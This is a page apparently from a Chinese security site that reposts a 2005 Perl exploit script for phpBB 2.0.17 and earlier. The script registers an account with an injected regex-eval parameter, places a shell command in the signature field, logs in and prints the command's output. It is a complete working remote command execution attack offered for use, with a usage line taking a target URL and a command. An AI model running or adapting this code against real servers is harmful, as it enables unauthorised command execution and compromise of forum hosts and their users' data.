首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
phpBB <= 2.0.17 signature_bbcode_uid Remote Command Execution Exploit
来源:http://rst.void.ru 作者:1dt.w0lf 发布时间:2005-12-26  

phpBB <= 2.0.17 "signature_bbcode_uid" Remote Command Execution Exploit


#!/usr/bin/perl

# phpBB <= 2.0.17 remote command execution exploit
# need for work:
# 1. PHP 5 < 5.0.5
# 2. register_globals=On
# 3. magic_quotes off
# ------------------------------------------------
# (c)oded by 1dt.w0lf
# RST/GHC
# http://rst.void.ru
# http://ghc.ru
# 03.11.05

use LWP::UserAgent;
use HTTP::Cookies;

if(@ARGV < 2) { usage(); }

head();

$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();

for($i=0;$i<5;$i++)
{
$rand .= int(rand(9));
}

$name = 'r57phpBB2017xpl'.$rand;
$password = 'r57phpBB2017xpl'.$rand;
$path = $ARGV[0];
$cmd = $ARGV[1];
$xpl->cookie_jar( $cookie_jar );

$res = $xpl->post(
$path.'profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00',

Content => [
'username' => $name,
'email' => $rand.'_bill_gates@microsoft.com',
'new_password' => $password,
'password_confirm' => $password,
'signature' => 'r57:`'.$cmd.'`',
'viewemail' => '0',
'hideonline' => '1',
'notifyreply' => '0',
'notifypm' => '0',
'popup_pm' => '0',
'attachsig' => '0',
'allowbbcode' => '1',
'allowhtml' => '1',
'allowsmilies' => '0',
'mode' => 'register',
'agreed' => 'true',
'coppa' => '0',
'submit' => 'Submit',
],
);

if($res->content =~ /form action=\"profile.php/) { print "Failed to register user $name\r\n"; exit(); }
else { print "Done. User $name successfully registered!\r\n"; }

$res = $xpl->post(
$path.'login.php',
Content => [
'username' => $name,
'password' => $password,
'redirect' => '',
'login' => 'Log in',
],Referer => $path.'login.php');

$res = $xpl->get($path.'profile.php?mode=editprofile');
@content = split("\n",$res->content);
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
for(@content)
{
if(/<\/textarea>/) { $p = 0; }
print $_."\r\n" if $p;
if(/<textarea name="signature"/){ $p = 1; }
}
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";

sub head()
{
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
print " PhpBB <= 2.0.17, PHP 5 < 5.0.5 remote command execution exploit by RST/GHC\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
}

sub usage()
{
head();
print " Usage: r57phpBB2017.pl <path> <cmd>\r\n";
print " <path> - Path to forum e.g. http://phpbb.com/forum/\r\n";
print " <cmd> - Command for execute\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
print "(c)oded by 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
exit();
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·Yahoo! Messenger Webcam 8.1 Ac
·VideoScript 3.0 <= 4.0.1.50 Of
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Veritas Storage Foundation VCS
·Microsoft IIS Malformed URI Do
·PHP-Fusion 6.x rating Paramete
·Microsoft IIS Malformed URI Do
·identd 1.2 remote exploit
·PlanetFileServer DoS
·GKrellM Vulnerable to Remotely
·Electric Sheep Window-Id Local
·wu_ftpd <=2.6.1 remote root
·Advanced Guestbook version 2.2
·samba-2.2.8 < remote root e
·Microsoft Windows / Internet E
  推荐广告
CopyRight © 2002-2021 VFocuS.Net All Rights Reserved